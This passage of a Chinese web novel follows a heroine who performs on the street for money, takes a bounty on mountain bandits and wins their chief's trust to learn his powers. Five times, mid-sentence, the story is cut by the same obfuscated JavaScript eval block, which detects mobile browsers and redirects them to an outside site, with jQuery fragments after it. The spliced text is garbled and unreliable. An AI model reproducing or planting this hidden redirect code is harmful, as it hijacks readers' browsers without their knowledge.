她一面转着,一面唱快板似的吆喝起来,内容是对凉茶的赞美,色、味、气、香,无所不包。 很快,有人将施燃围了起来,问道: “这凉茶,真有你说的这么好? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|12317697|127337||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” 施燃笑着嗯了一声,对着众人夸夸而谈。有人觉得有意思,逗引着施燃多说了几句话,便心满意足买了几碗凉茶。继而有人与他行径相似,也是这般。凉茶摊前一时水泄不通,挤满了人,凉茶飞也似地卖出。 见凉茶快要销售一空,施燃停下卖艺,将碗放回去。 人群也渐渐散了,地上还有着几十枚铜币,那是打赏给施燃的。 她将铜币一枚枚捡起,握在手心,分出五枚铜币递给老人,“我想买一碗凉茶。” 老人依旧没好气:“不卖。” 施燃很是失落,收了手,转身离开。却被老人叫住,“我只不卖,可没说不给你喝凉茶。”施燃眼睛一亮,转过身去,只见老人将手伸到另一桶里,掀起白布,拿出一碗橙红的汤来。 将汤递给施燃,老人道:“这是我留着自己喝的。”又嘀咕着,“这碗才是我早上去采草药现熬的。” 施燃喝着,笑出声来,将还剩一小半凉茶的碗喂给肩上的梨花,梨花舔着凉茶,老人皱眉道:“这碗你等一会儿给我洗了。” 老人凉茶卖完了,无事可做。两人便立在浓荫下聊了起来,问了施燃的身世和来历,又问施燃孤身一人跑到殷临城做什么。 “求医。”施燃道。 听她这么一说,老人问:“疑难杂症?” “倒也说不上。”施燃收了碗,放到桶里。“只是伤口有些深,伤到骨头了,一时好不起来,想找个厉害些的大夫。” 老头将桶里的碗叠整齐,“治骨伤?我知晓一个大夫专治跌打骨伤。”他默了一会儿,问着:“你身上有钱吗?” 这话将施燃问住了,但她只是浅笑,“略有薄资。” 老人将白布搭在肩上,“略有薄资不会是指刚捡的那几十文吧。” 施燃尴尬地笑笑。 老人担起竹篓桶,往河边走去,施燃紧随其后,待老人放下竹篓桶,她眼疾手快地洗起碗,老人要洗,她便道:“我马上就洗完了,你在一旁还碍事呢。” 老人蹲下身,叹了一口气。 “好多医术厉害的人,都只给达官贵人治病。那人医术高明,肯给平头百姓治病,就是问诊费有些贵,一两银子。但咬咬牙还是负担得起,毕竟能买回一条命,你好好攒钱吧。” 施燃听了,道了一声多谢。 洗完碗后,老人将她带到医馆处,在树下躲着,偷偷指着那清幽雅致的小屋道: “你攒好钱就可以进门了。” 45. 赚钱 从小屋里回来后,施燃用仅剩的十几文钱住了客栈,晚间躺在床上时,她心里为钱发愁。 怎么赚钱? 施燃盯着那腐朽烂木的屋顶,双眼发直,想到今天得来的那几十文,一个翻身。 明天就去卖艺吧。 冷风将单薄的木窗——那已经不算是木窗,只是一块皴裂的木板吹得咯吱作响,施燃折身而起,紧了紧窗户,手一离开,卸了力气,那木板依旧随着晚风作响,晚风与木板缠绕一番后,又直吹她身子,将她散乱的发丝吹得四处飞舞,糊在脸上。 施燃面无表情扒拉开脸上的头发,直直躺下。 待晚风歇止,她才慢慢睡了。 她睡得并不好。 总觉得有人在瞧着她,有一轮银灰色的月亮,在追逐黑夜里漫跑的她。这月亮撒下的银灰忽而变成刀片雨,一片片直冲她而来,侵肌裂骨,遍体身寒,她只是张着苍白的脸,满是惊惶,在灰色的天幕上,落下一片撕心裂肺的嚎叫。 施燃惊醒了过来,身上已是冷汗漓漓,洇湿了被褥。 她下床到了一杯已冷的茶,连连灌着。扭头穿过窗缝看天空,那上面是一轮圆月,银灰闪烁。就觉得忽而一把榔头锤到她头上,打得她眼冒金星。 门外传来脚步声,渐渐近了。 那脚步声犹如鼓点打在她紧绷的神经上,她身子打了个芝麻颤,唇口微张,在浓黑中默了一会儿,弓起身子,蹑步潜声将耳朵贴到门上,拳头紧绷。 她眼珠儿不错订在门上,仿佛可以穿透那扇木板,看见什么似的。 近了。 脚步声越来越近了。 只要脚步声停在她的房门口,她就破门而入,冲上去揪住那人问个究竟。 就如一首曲子有高/潮有低谷,脚步声在她门旁响起的那一刻,她脑子激涌一连串杂乱无章的念头,紧接着,低谷来了,脚步声越来越远,逐渐隐去,将她那些念头也带走了。 她这才开始呼吸,松开牙关,长舒一口气,把心放回肚子里。 软着腿躺回床,施燃瞥见那一轮月亮,心头火一刹那就蹿上了头,她愤怒撕开那积满灰的床帷,赌上咯吱作响的窗缝,裹着被子闭上眼,强制自己进入梦乡。 可她睡得并不好,自己似乎睡了,又仿佛没睡,总有人在她耳边说话走路,声响震动。她张嘴伸手,大叫着——小声点,别走了,大晚上不睡觉出来扰民做什么。 她无力地尖叫着,没人理她。 重重的脚步声又来了,那声响震天动地,她被这响声踩醒,一骨碌折而起,反而听不见那脚步声了。 寂静将施燃笼罩着。 她觉得胸腔闷阻,喘不上气,缓了半天,余光乜见散落的床帷和窗缝,扒上窗台,露出一只眼珠,瞧见青石甬道上一群醉鬼歪七扭八走着,就静静瞧了半晌。忽得,那群醉鬼仰天长笑,半醉半醒之间,瞧见了施燃。 三目相对。 施燃盯着那醉鬼的眼珠儿,银灰色月光的照耀下,猛得觉得那眼珠儿灰不溜秋的,乌鸦的脸立时与那醉鬼的脸重合,她一时被唬了一跳,立即转过身,背靠着斑驳的墙壁,双手抱膝默了一会儿,再掀开窗缝去看时,那群醉鬼已经无影无踪。 她捂住自己的额头。 眼花了吗? 还是被吓得精神恍惚了? 应该是眼花了。 施燃将一旁睡着的梨花抱进怀里,阖眼,倚着墙壁睡了。 期间,她因为各种零零碎碎的声响被惊醒好几次,等到东方既白之时,她顶着黑眼圈,整个人昏昏沉沉就出了门。 她今天出来是卖艺的。 她找了几片瓦,用细枝顶着转,头顶一个,双手顶两个,脚顶一个。练到有些火候时,日头已偏西,便连忙找了个人流量大的空地,开始表演。 一面演,一面讲些伶俐话,倒也吸引了几个买完菜的妇人舍了她十几文钱。她被鼓励了,越加卖力,瓦片转得比陀螺还快,一个时辰后,她放在地上的破碗已然有了上百文钱。 可好景不长。 有人在施燃旁干起了与她一样的营生。 那人在转碟子,不仅手、脚、头上面顶着转,而且鼻子上还有一个。人都被吸引了过去,连施燃都被引得目不转睛瞧着。看了半天,太阳西沉,施燃惊觉这样下去不行,便让梨花双爪转球,妄图用动物表演吸引人的注意力。 可旁边那人不知从哪里拿出一条花莽,缠到身上,把头放进蟒蛇嘴里。 施燃咽下口水,甘拜下风,抱起还在玩杠蛋的梨花调头就走。 回到客栈,施燃给了房钱,又合计了几天的嚼用,发觉手头剩不下几个钱了。 这样下去不是办法,什么时候能存到钱啊。 到下楼吃午饭时,施燃还在为这个问题苦恼。 一旁有人议论着今日又赚了几两银子,赚钱多不容易,等一会儿去告示栏看有没有新的通缉令,有能干的活就趁早撕了,然后就去喝花酒云云。 施燃凝神听着,将炸花生米咬得咂咂作响。等那群人吃完饭,影在他们身后,到了告示栏。 那群人在告示栏前指手画脚一会儿,什么也没揭下就走了。待他们远去,施燃凑到告示栏前琢磨着: 这个不行,这个也不行。 这个……翡翠山有匪数十,占道截杀行人, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|12346699|127337||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 谋财害命,其间有爻气入体之人。杀之十两银子。殷临城监城司宣。 十两银子,干了! 施燃一把扯下通缉令,揣到怀中。 趁天色未晚,路上找行人打听了翡翠山的状况,跟通缉令说的大差不差。便找卖凉茶的老人借了五钱银子,去集市上买了小刀和迷药,回客栈歇息,养精蓄锐。 第二天一早,梳了个歪歪的发髻,画了个我见犹怜的淡妆,提着包袱,弱柳扶风地去了翡翠山。 这日天气正好,微风轻拂,施燃慢慢走到山腰,忽然从林子里跳出几条汉子,手提白晃晃的刀,将施燃拦住,大叫道: “此路是我开,此树是我栽,要想从此过,留下买路财。” 好标准的打劫话啊。 施燃在心里吐槽,往后趔趄了半步,以袖掩嘴,脸上挂着明晃晃的惊惶,“各位好汉,小女子没钱,放小女子过去吧,小女子来世给各位好汉当牛做马。”然后嘤咛几声,低头不敢看人。 那几个土匪将施燃围拢,施燃腿软跌在地上,大叫:“好汉饶命。” 一个土匪道:“好不容易今儿打个野食,还能放过你?”一把扯过施燃的包袱,撕裂,十来个白晃晃的馒头就从包袱里滚落,一路到了山下。 施燃伸手道:“我的馒头,那是我做了一夜的馒头啊……呜呜呜……” 土匪骂道:“几个破馒头,哭什么哭。”说着,扯下施燃头上的簪子,一瞧是木簪,便摔在泥里,喝道:“穷酸破落户。”就伸手抓施燃的头发,施燃本就歪歪的发髻这会儿便散乱落下几缕发丝。 施燃掩面哭着,把眼睛哭得红肿,怯懦道:“别扯了,别扯了。” 几个土匪听施燃这话儿,兴致来了,拉扯施燃的袖子,推来推去。施燃装作受不了,微微抬头,说道: “几位大爷,小女子真的没钱,小女子还要去寻未婚夫呢。” 先前施燃一直遮脸低头,几个土匪未见施燃面,甫一见着,眼睛发直。一个满脸胡子的土匪一把捏住施燃的手腕,笑道:“小娘子,去寻什么未婚夫,你未婚夫在这儿呢。” 剩下几个土匪不乐意了,几人为施燃的归属吵闹起来,最后几乎亮了刀。就要打起来之际,有个土匪道: “何必为了一个小娘皮伤了我们兄弟的感情。” “那你说怎么分,宰成几块吗?” “哎,兄弟,动动脑子,宰成块有什么用,不如将这小娘皮献给老大,说不定咱几个能混个头目当当,你们说,此计妙不妙!” “妙啊!” 几个土匪将目光落在施燃脸上。 施燃依旧掩面,哭声时隐时现。 46. 翡翠山剿匪记(一) 穿过幽深的树林,踏过曲曲折折的小路,施燃被这群土匪带到了山寨。 山寨建在山顶,居高临下,易守难攻。被高高的木栅围着,不时有几个男人成一班,拿着刀枪剑戟的从山寨门进进出出。 施燃被揪进了木寨大堂里,大堂两侧有人拿刀立着,高座之上,一个虎鼻狼眼、身材魁梧的男人倚着背靠,眼睛半阖,看起来似在打盹。 那几人轻唤了一句“大王”。 那高座之上的男人掀开眼皮,神色漠然盯着底下几人。 几人见大王醒了,忙扯住施燃的头发,迫使她仰头,将面容展露在众人眼前。 其中一人谄媚笑着:“这是小人在山腰上抓的,见她生的花魁样,就想着此等美人只有大王这种英雄人物才配得上,所以就带上山寨来,送给大王。” 这大王盯着施燃的脸,眼睛忽而一亮,视线发胀发直,急步走下堂,到施燃跟前,瞧着她满目惊惶,花容失色,不由得道: “小娘子别怕。” 施娘以袖掩面,垂头不语。 那大王继续道:“小娘子叫什么,芳龄几何?” 施燃沉默着。 那几个土匪见施燃这般,推搡了她一把,“不要敬酒不吃吃罚酒。”那大王也不作声。 施燃顺着土匪的力道往右趔趄半步,将袖子半落。只露出一双眼睛看着那大王,怯怯懦懦道:“小女子姓施,家中排行第六,家里人都叫我六娘。今年……今年十六。”又眼睫毛下垂,颇惹人怜爱。 那大王拉住施燃的袖子,“施娘子怎么往这翡翠山走。” 施燃低头,软语道: “小女子是去找未婚夫的,听人说,翡翠山是最近的路。” 那大王往前走了半步,贴着施燃,笑着:“没人告诉你,翡翠山上有歹人吗?”说着,手欲摸她的下颌,被施燃偏头躲开,她似被这大王轻薄的行径惹怒了,脸上怯懦淡去,眉尖微蹙,道:“大王,请您自重,小女子是有未婚夫的人了。” 那大王冲围着的众喽啰使了个眼色,喽咯们知意,忙退出大堂,关好门。 他脸上一片戏谑,捏着施燃手腕,“小娘子,多少年了,就只有你对我使这文绉绉的敬称,听得我心里痒酥酥的。” 施燃咬唇,面上漠然,偏过头去,将白皙的侧脸对着他,那大王眼神越发直了,心中如千百只爪在挠,手摸上施燃的手背,只觉得摸上了一团白云般。施燃将手抽出,瞪了那大王一眼。 见施燃这般情态,那大王心中千百只爪越发用力,掏得他心窝子瘙痒不止,只用话来调弄施燃,“小娘子,何必去找你未婚夫,找我就是了。也合该我们有缘,今生我们要做夫妻。”话毕,就要去搂施燃的腰。 施燃往后退了两步,脸上虽冷凝成霜,但眼尾泛着红。 “小女子心中只有我那未婚夫,还请大王放了小女子吧。” 那大王道:“你那未婚夫姓甚名谁,家住何处?才华如何?长相如何?比我如何?” 施燃眼神恍惚,似在回想: “我那未婚夫姓喜名筒,家住中华,虽然长得丑,大字不识一个,还不认路,豪无用处,但他对我极好。”施燃眼中露出向往,一点红从耳根起,“我如今过去找他,便是要与他成婚,我今生,非他不可。” 那大王又走近,上下打量着施燃,“你粗布木簪,想来你那未婚夫也不是富贵人家。跟了我,本大王天天让你吃香的喝辣的,日日快活似神仙。” 施燃哑言,睃了一眼大王,“我与喜筒青梅竹马,定不会另寻新欢。若不能与他为妻,小女子就不活了。” 那大王眯眼,冷笑一声,“你倒是重情重义之人,但若我是非要你不可呢?!”走了几步,逼得施燃往后趔趄。 施燃被唬得面色苍白,脸上冷凝着一层悲戚,眼珠儿定定看着那大王,“大王你今天若是强来,我就撞上那柱子——”施燃指着一旁的顶梁柱,“我就不活了,你永永远远都得不到我。”说完,梗着脖子直直逼视着那大王。 两人四目相对,瞧着施燃坚韧且无助的神情,红红的眼睛,那大王眼神越发直了,喉咙发紧,忍不住去抱施燃。 施燃灵巧躲过,就要将头往柱子上撞。 那大王扯住施燃衣摆,忙道: “美人……美人……你这又是何必……从了我不好吗?”一面说着,一面将施燃拖回原处,好言相劝: “美人,只要你从了我,荣华富贵的日子马上就来了。” 施燃掩袖呜咽,不甚理他。 那大王又哄了半天,见施燃只顾哭,耐心也耗尽了,冷声道: “你既然非要嫁你那未婚夫,那我派人去中华将你那未婚夫给杀了,再杀你那未婚夫的老爹老母,他们一家都因为你不肯从了我而死的。” 施燃抬头,气得身子直颤,“你无耻……呜呜呜……” 那大王道:“不无耻,又怎么能抱得美人归呢。” “你好好想想吧,我晚上过来,给一个让我满意的答案。” 说完,关门而去。 那大王一走,施燃止住了哭声,神色平静打量着四周,见连个透气的窗都没有,便知这寨子的隐蔽性极好。 她心思百转,想着进来时瞧见的情景,暗骂通缉令上的信息误导人。 这寨子里的土匪不止几十, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|12448967|127337||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她粗粗一算,就快有两百了,要知道几十和两百不是一个数量级的,她如果刚才强行与那大王开战,若小喽啰趁打时围上来,她插翅也难飞。 幸好她买了迷药。 要挑个时机,将迷药下到他们都会吃的东西里。 施燃这般想着,心中有了主意。 日暮已至。 那大王推门而入,一见施燃形单影只垂头立在墙角,心头极不舒坦,有些酸楚,便厚着脸皮笑道: “美人,你瞧我给你带什么来了。” 施燃睃了那大王一眼,那大王就似被钩子勾住了,直溜溜就到施燃跟前,从怀里掏出一大把金银珠宝,奉到施燃眼前。 “美人,这是给你的。”说着,便将那珠钗金链套到施燃身上。 施燃垂首瞧着脖间的金链,手碰了碰,似有所动,她像是下定了决心,眼神发颤瞥着那大王的脸,那大王被她目光笼罩,似浸在青光如水的月色中,迷离恍惚。 她道:“我若从了你,你真的就不去找我未婚夫的麻烦。” “我既有你,理你那未婚夫做甚。”那大王道。 “这是你说的……”施燃软着声音道。 此话一出,那大王便知晓施燃是从了他。心中大喜,手上忍住不去碰施燃。 施燃躲过,把后背对着大王。 拈发叹道:“我虽跟你了,但我也是好人家的儿女,三书六聘我知晓是不可能了,但婚礼需极为隆重。” “依你。” 施燃转身笑着:“我要全寨上下,为婚礼大庆三日,不醉不休。” “好好好。”那大王连声道,早是心神荡漾,不能自己,只用手去捉施燃手臂。 刚碰到,施燃哎呦一声,轻轻说着“疼”。那大王忙问怎么了。施燃眉目满是愁绪,想了半晌,道:“刚才那几个人带我上来,将我手臂弄伤了。” 那大王即刻传唤那几个土匪上来。 那几个土匪满面喜色,以为大王会赏赐他们。谁知刚一上来,便被一颗石子击穿脑袋,脑浆迸裂死在堂上。 那颗穿头的石子仍滞在空中。 施燃瞳孔收缩,捂住嘴。片刻后,才半怨半怕对那大王问道: “你为何杀了他们。” 那大王笑着就凑到施燃跟前,“你消气了吧。” 施燃保持着人设,“我何必要用人命消气,血淋淋的,你吓到我了。” 大王叫人将尸体拖下去,好言好语哄着。半晌,施燃将袖子放下,好奇地指着那颗石子道: “那是什么东西,是神仙的法器吗?不然怎么会在空中。” 施燃只听得一片笑声。 47. 翡翠山剿匪记(二) 那大王摊掌一抓,空中的石头便打旋儿一般飞到他的手掌心。施燃瞧着石子在空中的轨道,定着眼珠儿沉思。大王将手中的石头奉到施燃眼前,涎着脸让施燃瞧。 施燃满面都是好奇,探出一手指小心碰了碰,那石子就如普通石子般滚动起来。她装作惊奇又害怕的样子“哎呦”一声,轻言细语道: “这还动呢。” 那大王眼神黏着施燃的脸笑道:“我不用它的时候,它就是个普通石子,你拿手戳它,它肯定会动。” 那大王闭眼又睁眼道:“你再碰一次试试。” 施燃拿手戳了一下,那石子不动,她使了力气又戳了一次,石子依旧不动。她仰头亮着眼睛问:“这是怎么回事啊?这石头是不是听你的话啊?你是天上下来的神仙吗,怎么会有这么厉害的法器。真好玩,你可以教一教我吗?” 但心里却琢磨着,这大王应该是个器修,他爻气入器的“器”,便是眼前这个小石子。那这人应该没什么根基,误打误撞爻气入体,若是个成体系的世家公子,是万万不会选择平平无奇的小石子来做爻器。 且这人控制石子老道,动可变轨,静可定身,手法精细,比她强。 施燃眼珠儿滴溜溜转了一圈,生出一个想法来。 那大王被施燃那有几分天真的话哄得喜笑颜开,他拉着施燃的手,“美人,这可不是神仙的法器,我也不是什么神仙。你若没资质,教你便是害你。” 施燃一把抓住他话语间的隐意,“那就是可以教的,对不对,大王。”她软言问着。那大王点头,施燃抓住那大王的袖子,“大王,你教一教我。”大王不言,施燃见此,抽噎一声,眼睛泛起红来。 “我过几天跟大王成了亲,便是夫妻了。我孤零零在山上呆着,只有你一个知心人。常言道,嫁鸡随鸡嫁狗随狗,我只是想多了解你一点,我让你教我,不过是想和你多相处些时日罢了。”施燃拿手锤大王胸口,“我不好直接说,你怎么连女儿家这点小心思都听不出来。”将头一扭,“我不理你了。” 话毕,提脚走了半步。慌得那大王连声哄着,“我说便是了。” 半晌,略带羞意道:“活了二十一年,还是第一次有人说想要了解我。” 施燃用袖角擦了擦眼泪,抿唇拿眼睛睃他,“那我问你,你这会飞的小石子是从哪里捡的。” 那大王将石头置到施燃跟前,“你瞧一瞧。”只见那大王手臂青筋暴起,石头上缠绕着若有似无的白线,施燃只装没瞧见,脸上适时显露奇异,“瞧什么,我什么也没瞧见。” 那大王就指着那几条白线。 施燃凑过去,“这是什么。”伸指想挑一挑那白线,却被那大王移开手掌,“别碰,小心伤着你。” 又继续道: “这就是我能控制石头的秘诀了。” 施燃扭头瞧着那大王,一缕乌发拢在莹白侧脸上,发梢随着动作微微晃动。眼睛儿端得是明净动人,好似幽黑琉璃珠。 被她这么一望,那大王心头越发火热,恨不得将肚子里的话一箩筐倒给她。 “这白线叫做爻气,是从我身体里发出的。”大王道,“也不知你听说过爻气没。” 施燃拿手指抵在唇上,轻轻摇头。 那大王越发心驰荡漾,“这爻气人人都有,但只有万里挑一的人材才能激发。” 施燃轻轻“啊”了一声,崇拜地望着他。 “大王原来是这等天骄人物,那你什么时候激发的爻气啊?怎么激发的?” “我十八岁时激发的,那时我正被仇人围攻,一股热流从脚底起后,我手中起了一层白雾,那白雾裹上了我怀里的小石子,自此,我便能控制这小石子了。”那大王得意道。 施燃垂眸,这人的经历与她一样,她在第五律口中听过一鳞半爪——爻气入体自脚起,就这半句话,还在不止她一人身上应验了。若能得到完整的修炼爻气秘笈,她的爻气修炼一途也有个路标,哪像现在,还要明里暗里打听别人的修炼方法,企图化为己用。怪不得当初朱岭那批人为了爻气秘笈那么疯狂。 她又抬眼张口道:“既然大王能控制小石子,便一定能控制其他东西了。” 大王笑道:“美人,这你就想错了。大王我只能控制这小石子。”说着,就要抬手刮施燃的鼻子。 施燃低头一笑,轻轻巧巧躲过,继续道:“大王,别骗小女子了,怎么有只能 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|12465616|127337||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 控制石子的道理。” “你别说,我当初跟你一样,还真奇怪这件事,但在外混了些时日,我才从别人口中得知这修炼也要分类别,我这个……我这个叫……”那大王捋起袖子,皱眉想着,“叫器修,好像爻气入体之时,那爻气入了哪个东西,那个东西便是你的爻器。” 施燃指着他手中的石子,“那大王的爻气为何入了这石子呢。” 那大王面色怅惘,似在回忆以前,“我家门前有一条河,那条河又宽,水又多,小时候,我最喜欢的就是去打水漂。”他笑了一下,“我就是用这小石子,打出了我有生以来最多的水漂,有十六个。后来我离开家,只能带了这小石子走。”说到最后一句,语气中带着冷然,“我常常拿这小石子出来摩挲,或许就是因为这个,爻气入了这小石子。” 施燃默然不语地盯着那大王,好半晌,才道:“你家怎么了。” “什么怎么了?”那大王呆呆怔怔的。 “我问你家怎么了?”施燃又重复了一次。 那大王定定瞧着施燃,一时还反应不过来,施燃叹了口气。 “大王,你别伤心了。”她握住那大王的手,“等我们成亲以后,不管你家怎么了,你又会有家的。我知道,你常拿这小石子出来,是因为你想家了。” 施燃搂住那大王,眼眸闪烁。 想着原来器修的爻器也不是随意选的,应该是长时间带在身边、或是有感情、亦或是已经操控得很熟练的东西。 那大王颤着手,轻轻搂住施燃的腰,换了称呼,“六娘,等我们成亲以后,我就带你去过安稳的生活。” “可你已经落草为寇,官府那里已经将你记在册上,我们何处去过安稳的生活。” “招安便是了。”那大王道。 “可山寨里那么多人,官府能容下吗?”施燃问道。 “以山上这些人的人头作为招安的见面礼,官府为何不能容下我。”那大王语调冰冷。 施燃心中一紧,脸上白惨惨的,“可那些……那些不是你的兄弟吗?” 那大王松了手,低头瞧着施燃,“什么兄弟,这寨子是我三个月前夺过来的,那些人算不得什么兄弟。” 48. 翡翠山剿匪记(三) 啊? 施燃心中一惊,问道:“那以前的大王呢?” 那大王道:“当然是杀了,丢在后山的山洞里。这三个月来,我赚了许多人上山,山寨才有如今的规模。六娘,你放心,这些人没甚头脑,到时候咋们将他们卖了,他们还帮咋们数钱呢。” 施燃脸上一片愁容,为了维持人设,她道: “做这种事情到底不好,我们还是别这样做。”她捂住胸口,“我怕你出了什么意外。” 那大王眼中闪过一丝阴冷,“我一定做得干干净净,不留痕迹,不给我们未来的留下一丝隐患。”他捂住施燃的手,“六娘,我知道你性子善,但这种时候,不吃下他们,我们怎么能过好生活呢,你不为自己想,也要为我们的孩子想,你难道想孩子生下来就是小土匪吗?” 施燃眼眸闪烁,低下了头。 这大王想得还真够远啊。 思绪又一转,怪不得山寨人数跟通缉令上的对不上,原来早就换人了。 这人既然能杀了原来的大王,说明武功在其之上。 她的目的是杀了原来的大王,又何必跟这人耗。只要她找到原来大王的尸体,带去监城司,这件事情就解决了。 但在此之前,她得从这人口中多掏出一点器修的知识。 那大王继续道:“到时候——” 施燃拿食指抵住大王的口,“我们不谈这个了好吗?血赤呼啦的,听得我心惊肉跳。” “我还是想继续了解一下大王。” 她说大王你是怎么让小石子在天上乱七八糟地飞来飞去,说大王你让小石子飞来飞去时是什么感受,说大王小石子上的白线你是怎么弄的啊?又说大王你能不能给我演示一下啊?那大王一一回答,又一次又一次演示,施燃天真烂漫地鼓掌,张口闭口就说大王真厉害,真是个大英雄。 两人之间洋溢着欢声笑语。 但夜渐渐深了。施燃困意上头,神思倦怠打着哈欠。那大王见此,带施燃去了他房间。 施燃坐在铺了一层虎皮的床榻上,看着不远处坐着的大王,忸忸怩怩说着: “大王,我是好人家的姑娘……你能不能……能不能……”话到此处,捂住自己的脸。那大王就走到施燃跟前,说话有些轻佻,“六娘这是害羞了。” 施燃瞪了他一眼。 他一时心头一酥,还想继续说些伶俐话,但见施燃眼睛半阖,也就歇了心思,道: “既然六娘这么害羞,那我就走了。只是洞房花烛夜那晚,六娘可千万别将我敢下床。”说完,推门而去。 那大王走的一瞬间,施燃睁开了眼睛。她到门前推了推,门纹丝不动,被人从外边闩住了。 施燃冷哼一声。 “还怪有防备心的。” 又回到了床榻上,准备休憩。可每当要进入梦乡时,零零碎碎的声音就塞满了她的脑子,脚步声、细语声、打鼾声、落叶飘零之声。就这般,施燃在迷迷蒙蒙将睡未睡的状态下撑到天明。 金灿灿的晨光挤过窗缝涂抹到施燃眼皮上。 她还未睁眼,门外就响起叮叮当当碰撞声,接着有人推门而入,床榻不远处传来响亮的人声: “六娘,怎么还没醒呢。” 这就是平地一声雷。 施燃冷漠地睁开眼,冷漠地瞧着来人,冷漠的折身而起,不言不语,将自己当一个木雕泥塑。 “怎么了,六娘。”来人立在施燃跟前,“我今儿一早起来就找人算了日子,后天宜婚礼。” 施燃用手揉了揉太阳穴,知道她这是有起床气了。自从出了冰蓝森林,她一直都睡不好,每每直到天明才有浅浅睡意,这人将她惊醒,她极生气,不想讲话。 但不到片刻,还是扬起一个笑容,“我刚没睡醒,还懵着呢。大王刚才说什么?”软软笑着。 那大王将刚才的话重复一次,又道: “今儿我带人下山去采买婚礼需要的东西,你就乖乖呆在这里。有什么事就找癞子和小狼。”说着,他扭头,用下巴支了支门口的两人,那两人急步走过来,对着施燃点头哈腰。 施燃轻轻点头,“癞子和小狼是吧,你们好。” 那两人明显怔住了,对视一眼才回道:“我们好,我们好。”施燃笑了。那大王皱眉,“滚出去,什么样子,丢老子的脸。”这话一砸地,两人应声而滚。 那大王又仔仔细细叮嘱了一番,然后出门整顿人马,一群人晃晃悠悠下山去了。 日上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|12489266|127337||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 竿头,整个大地如火烤般。 施燃躺在椅子上闭眼休憩着,估摸那群人该到山下了,就朝门口轻声叫着: “癞子、小狼。” 从门框两侧探出两个头,额头上浮满密密麻麻的汗珠。 施燃起身倒了两杯茶,走到这两人面前,“渴了吧,喝茶解渴。”说着递茶到这两人跟前。 两人犹犹豫豫接了茶,一饮而尽,将茶杯还给施燃,施燃接过,放到桌上时,扭头说着: “这老天爷真不管人死活,天这样热,人身上汗津津的,怎么都不爽利。”这两人接话,“夫人说的对,我们这儿有好几个兄弟都被热晕了。” 施燃低头笑着,“怎么就叫起夫人来了。” 那两人也低头,“大王后天都要跟夫人成亲了,我们早两天叫也不碍事。” 施燃但笑不语,又道:“我也觉得头昏脑胀,该不会是跟你们那几个兄弟一样,热中暑了。”她捂住自己额头,跌坐在椅子上道: “听大王说,这寨子后山有个极凉快的地方,你们知道吗?” 那两人皆摇头。 施燃又道:“他说那地方离一个山洞极近,你们带我去纳凉可好。” 那两人似在回忆,又小声嘀咕着。隐约传来“是那个山洞吗”,“后山只有那一个山洞”之类的话。 嘀咕了半晌,那两人才带施燃去了后山。 比起前山来,后山草木极为繁盛,在这样的暑日里,厚实的阳光竟穿不过密密匝匝的绿叶,透不出一丝光亮。 越往里走,便越昏暗,也越加阴冷。 行至深处,癞子和小狼停住了脚,扭头道:“夫人,这里已经够凉快了。” 施燃摇头,叹道:“我还热呢。” 两人带着施燃又走了百步,不久,腐臭粪污的味道如散乱的毛线般丝丝缕缕灌入施燃的鼻腔。 那两人显然也闻到了,劝道: “夫人,这里够凉快了,就在这里纳凉吧。” 知晓了山洞的位置,施燃觉得没必要在这里胡扯,就道: “我突然不觉得热了,我们回去吧。幸苦你们了,小狼、癞子。”又露出一个浅笑。 那两人连连道:“不辛苦不辛苦。”